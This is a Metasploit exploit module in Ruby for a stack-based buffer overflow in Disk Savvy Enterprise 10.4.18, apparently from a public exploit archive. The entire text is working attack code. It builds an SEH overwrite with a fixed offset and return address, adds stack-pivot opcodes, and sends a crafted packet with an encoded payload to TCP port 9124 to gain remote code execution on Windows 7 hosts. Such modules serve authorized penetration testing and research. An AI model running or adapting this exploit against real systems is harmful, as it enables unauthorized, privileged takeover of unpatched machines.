Disk Savvy Enterprise 10.4.18 – Stack-Based Buffer Overflow (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Disk Savvy Enterprise v10.4.18', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in Disk Savvy Enterprise v10.4.18, caused by improper bounds checking of the request sent to the built-in server. This module has been tested successfully on Windows 7 SP1 x86. }, 'License' => MSF_LICENSE, 'Author' => [ 'Daniel Teixeira' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x02\x0a\x0d\xf8", 'Space' => 800 }, 'Targets' => [ [ 'Disk Savvy Enterprise v10.4.18', { 'Offset' => 124, 'Ret' => 0x10056d13 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jan 31 2017', 'DefaultTarget' => 0)) register_options([Opt::RPORT(9124)]) end def exploit seh = generate_seh_record(target.ret) connect buffer = make_nops(target['Offset']) buffer << seh buffer << "\x83\xc4\x7f" * 13 #ADD esp,7fh buffer << "\x83\xc4\x21" #ADD esp,21h buffer << "\xff\xe4" #JMP esp buffer << payload.encoded buffer << Rex::Text.rand_text_alphanumeric(1) header = "\x75\x19\xba\xab" header << "\x03\x00\x00\x00" header << "\x00\x40\x00\x00" header << [buffer.length].pack("V") header << [buffer.length].pack("V") header << [buffer[-1].ord].pack("V") packet = header packet << buffer sock.put(packet) handler end end |